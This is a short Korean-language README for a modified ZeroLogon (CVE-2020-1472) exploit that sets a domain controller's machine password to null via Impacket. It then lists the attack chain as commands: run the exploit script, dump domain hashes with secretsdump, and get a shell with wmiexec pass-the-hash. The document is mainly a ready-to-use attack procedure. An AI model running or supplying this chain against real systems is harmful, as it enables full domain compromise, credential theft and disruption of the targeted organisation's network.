ZeroLogon - 익스플로잇 및 예제

머신의 비밀번호를 null로 변경하기 위해 Secura의 테스트 PoC(CVE-2020-1472)를 수정했습니다. 머신의 비밀번호 변경은 Microsoft의 NetrServerPasswordSet2() 함수를 사용합니다. 이 익스플로잇은 Impacket의 nrpc.py 모듈을 활용하여 NetrServerPasswordSet2()를 호출합니다.

익스플로잇 실행

./zerologon_NULLPASS.py <dc-name> <dc-ip>

해시 덤프

secretsdump.py -no-pass <dc-name>\$@<dc-ip>

쉘 접근을 위한 Pass-The-Hash

wmiexec.py -hashes <LM:NT> <username>@<ip>